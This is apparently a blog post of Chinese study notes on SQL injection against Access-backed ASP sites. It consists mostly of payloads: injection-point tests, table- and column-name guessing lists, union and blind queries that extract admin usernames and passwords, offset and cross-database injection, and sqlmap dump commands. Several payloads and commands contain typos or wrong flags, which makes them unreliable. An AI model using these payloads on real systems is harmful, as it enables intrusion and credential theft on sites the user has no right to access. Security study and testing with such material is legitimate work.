Access注入-------笔记

一、前言

什么是SQL注入

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机 ------------------------------------------------【百度百科】

二、基础部分**

(1)判断是否存在注入点:
假设存在某站点http://www.xxx.com/news.asp?id=6

http://www.xxx.com/news.asp?id=6 and 1=1
http://www.xxx.com/news.asp?id=6 and 1=2

若两次返回不一样则存在注入
也可以使用以下语句:
*/
-0
-1
1
.0
.1

(2)判断数据库类型
and exsits (select * from msysobjects)>0 (access数据库)
and exsits (select * from sysobjects)>0 (sqlserver数据库)

(3) 判断数据库表名:
and exists (select * from admin)

返回正确 存在admin表返回错误 不存在这个表

`

常见管理员表名 :
> admin
>  admin_user 
>  admin_msg  
>  admin_usr 
>  admin_login 
>  username 
>  member
>   manager 
>   manag 
>   msg_user 
>   msg_login
>    useradmin 
>    user_login 
>    user—_msg users   `**

(4)猜解列名

and exists (select username from admin)

and exists (select password from admin)

管理员表下常见列名:
 admin、
 users、
user_login、
user_name、
msg_name、 
 login_name、
 admin_login
常见密码列名:
password、
psd、
passwd、
pass 、
user_pass****

(5)判断某个id对应的表下的列数:

id=31 order by 7
当num<=真实存在的列数,返回正常

(6)联合查询:

id=31 union select 1,2,3,4,5,6,7 from admin
判断是否存在admin表并爆出非数字类型列(可全为1,表明是数字类型)

id=31 union select 1,admin,password,4,5,6,7 from admin
如果admin表下存在admin和password列则爆出相应值(可以放在任意位置)

(7)猜解用户名和密码长度
and (select len(admin) from admin)>=5
and (select len(password) from admin)=5
如果admin表下的admin/password列下的字符长度>=5,返回正常

(8)猜解用户名和密码内容

and(select top 1 asc(mid(username,1,1))from admin)>97

and(select top 1 asc(mid(username,1,1))from admin)=97

三、高级用法

偏移注入:<--已知表名,不知列名
一、id=31 union select 1,2,3,4,5,6,7 from admin 

在末尾添加*,并从后往前依次删掉一列
 
 id=31 union select 1,2,3,4,5,6,* from admin

可能随机爆出某列的数据
二、id=31 union select 1,2,3,4,5,6,7 from admin 
在一得出结果的情况下,比如在5爆出一个值,遵从以下公式:测试不加x.id 


id=31 union select 1,2,3,4,5,a.id,b.id* from (admin as a inner join admin as b on a.id=b.id)

id=31 union select 1,2,3,a.id,b.id,c.id* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

id=31 union select 1,a.id,b.id,c.id,d.id* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
三、 浏览器打开登陆页面,审查元素,查看表单提交的名称----有可能是admin下的列名 

 

四、跨库查询:通过A站查B站的数据库
  
  满足条件:

   1、A站和B站在同一个服务器下且A站存在注入    
   2、知道B站的数据库存放的绝对路径
   3、知道B站的表名和列名

   语法:    
    id=31 union select 1,admin,password,4,5,6,7 from [C:\数据库的绝对路径] admin_user
 查询同服务器下其它站点表名为admin_user的列admin和password的值



四、sqlmap简单使用

(1)爆数据库名

sqlmap–u htttp://www.xxx.com/test.asp?id=69 –database

(2)爆表名

sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –tables

(3)爆字段

sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –columns

(4)爆列值

sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –c password –dumps

推荐https://blog.csdn.net/weixin_41489908/article/details/104382554更详细

你可能感兴趣的:(web安全学习笔记)